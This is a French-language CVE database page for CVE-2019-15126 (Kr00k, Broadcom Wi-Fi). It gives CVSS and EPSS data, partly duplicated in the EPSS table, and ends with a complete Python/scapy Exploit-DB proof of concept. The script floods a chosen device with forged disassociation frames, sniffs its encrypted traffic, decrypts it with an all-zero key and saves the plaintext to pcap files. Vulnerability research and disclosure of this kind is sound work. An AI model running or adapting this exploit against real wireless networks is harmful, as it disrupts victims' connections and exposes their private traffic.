CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
An issue was discovered on Broadcom Wi-Fi client devices. Specifically timed and handcrafted traffic can cause internal errors (related to state transitions) in a WLAN device that lead to improper layer 2 Wi-Fi encryption with a consequent possibility of information disclosure over the air for a discrete set of traffic, a different vulnerability than CVE-2019-9500, CVE-2019-9501, CVE-2019-9502, and CVE-2019-9503.
Time-of-check Time-of-use (TOCTOU) Race Condition The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
3.1
LOW
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Adjacent
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
Low
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
2.9
AV:A/AC:M/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
1.91%
–
–
–
–
2021-09-05
–
1.91%
–
–
–
2021-10-17
–
1.91%
–
–
–
2022-01-09
–
1.91%
–
–
–
2022-02-06
–
–
16.67%
–
–
2022-04-03
–
–
16.67%
–
–
2023-03-12
–
–
–
0.44%
–
2023-04-09
–
–
–
0.5%
–
2023-05-28
–
–
–
0.46%
–
2023-06-25
–
–
–
0.53%
–
2023-07-09
–
–
–
0.44%
–
2023-07-30
–
–
–
0.45%
–
2023-09-24
–
–
–
0.51%
–
2023-10-08
–
–
–
0.52%
–
2023-11-26
–
–
–
0.53%
–
2023-12-03
–
–
–
0.53%
–
2023-12-10
–
–
–
0.65%
–
2024-01-14
–
–
–
0.67%
–
2024-02-11
–
–
–
0.67%
–
2024-06-02
–
–
–
0.68%
–
2024-11-24
–
–
–
0.68%
–
2024-12-22
–
–
–
0.25%
–
2025-01-19
–
–
–
0.37%
–
2025-02-02
–
–
–
0.74%
–
2025-02-16
–
–
–
0.73%
–
2025-03-09
–
–
–
0.94%
–
2025-01-19
–
–
–
0.37%
–
2025-02-02
–
–
–
0.74%
–
2025-02-16
–
–
–
0.73%
–
2025-03-09
–
–
–
0.94%
–
2025-03-18
–
–
–
–
10.22%
2025-03-30
–
–
–
–
10.22%
2025-04-15
–
–
–
–
10.22%
2025-04-15
–
–
–
–
10.22,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2020-03-17 23h00 +00:00 Auteur : Maurizio S EDB Vérifié : No
# Kr00ker
#
# Experimetal KR00K PoC in python3 using scapy
#
# Description:
# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126),
# that allows to decrypt some WPA2 CCMP data in vulnerable devices.
# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:
# * the TK (128 bites all zero)
# * the Nonce (sent plaintext in packet header)
# * the Encrypted Data
#
# Where:
# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data
# * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00"
# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)
#
# This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.
#
# References:
# https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf
#
#
# Copyright (C) 2020 Maurizio Siddu
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>
import argparse, threading
import datetime, sys, re
from scapy.all import *
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
from Cryptodome.Cipher import AES
# Proof of Sympathy ;-)
LOGO = """\
__ _ ____ __ __ __ _ ____ ____
( / )( _ \ / \ / \( / )( __)( _ \\
) ( ) /( 0 )( 0 )) ( ) _) ) /
(__\_)(__\_) \__/ \__/(__\_)(____)(__\_)
"""
KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00'
class Krooker:
# Define Krooker class
def __init__(self, interface, target_mac, other_mac, reason, num, delay):
self.interface = interface
self.target_mac = target_mac
self.other_mac = other_mac
self.reason = reason
self.num = num
self.delay = delay
def wpa2_decrypt(self, enc_pkt):
# Try to decrypt the data contained in the sniffed packet
t_key = bytes.fromhex("00000000000000000000000000000000")
# This check is redundant
if not enc_pkt.haslayer(Dot11CCMP):
return None
dot11 = enc_pkt[Dot11]
dot11ccmp = enc_pkt[Dot11CCMP]
# Extract the Packet Number (IV)
PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)
# Extract the victim MAC address
source_addr = re.sub(':','',dot11.addr2)
# Extract the QoS tid
if enc_pkt.haslayer(Dot11QoS):
tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)
else:
tid = '0'
priority = tid + '0'
# Build the nonce
ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)
# Finally try to decrypt wpa2 data
enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8)
decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8])
return decrypted_data
def disassociate(self):
# Forge the dot11 disassociation packet
dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)
# Loop to send the disassociation packets to the victim device
while True:
# Repeat every delay value seconds
time.sleep(self.delay)
print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)
sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)
def check_packet(self, sniffed_pkt):
# Filter for WPA2 AES CCMP packets containing data to decrypt
if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):
#print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype))
# Decrypt the packets using the all zero temporary key
dec_data = self.wpa2_decrypt(sniffed_pkt)
# Check if the target is vulnerable
if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:
print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")
hexdump(dec_data)
# Save the encrypted and decrypted packets
print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder")
dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]
wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)
wrpcap("dec_pkts.pcap", dec_pkt, append=True)
# Uncomment this if you need a one-shoot PoC decryption
#sys.exit(0)
#else:
#print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong")
#pass
def run_disassociation(self):
# Run disassociate function in a background thread
try:
self.disassociate()
except KeyboardInterrupt:
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
return
def main():
# Passing arguments
parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")
parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)
parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)
parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)
parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)
parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)
parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")
parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")
parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")
args = parser.parse_args()
# Print the kr00ker logo
print(LOGO)
# Start the fun!!
try:
interface = args.interface
ap_mac = args.bssid.lower()
client_mac = args.client.lower()
reason = args.reason
target_channel = args.wifi_channel
n_pkts = args.number
delay = args.delay
# Set the selected channel
if target_channel in range(1, 14):
os.system("iwconfig " + interface + " channel " + str(target_channel))
else:
print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid")
exit(1)
# Check if valid device MAC Addresses have been specified
if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":
print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")
exit(1)
# Check if a valid reason have been specified
if reason not in range(1,99):
print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))
exit(1)
# Set the MAC address of the target
if args.target == "client":
target_mac = client_mac
other_mac = ap_mac
print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target")
else:
target_mac = ap_mac
other_mac = client_mac
print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target")
# Krooker instance initialization
krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)
# Start a background thread to send disassociation packets
k_th = threading.Thread(target=krooker.run_disassociation)
k_th.daemon = True # This does not seem to be useful
k_th.start()
# Start packet interception
s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"
sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)
except KeyboardInterrupt:
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
k_th.join()
sys.exit(0)
except scapy.error.Scapy_Exception:
print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode")
sys.exit(1)
if __name__ == "__main__":
main()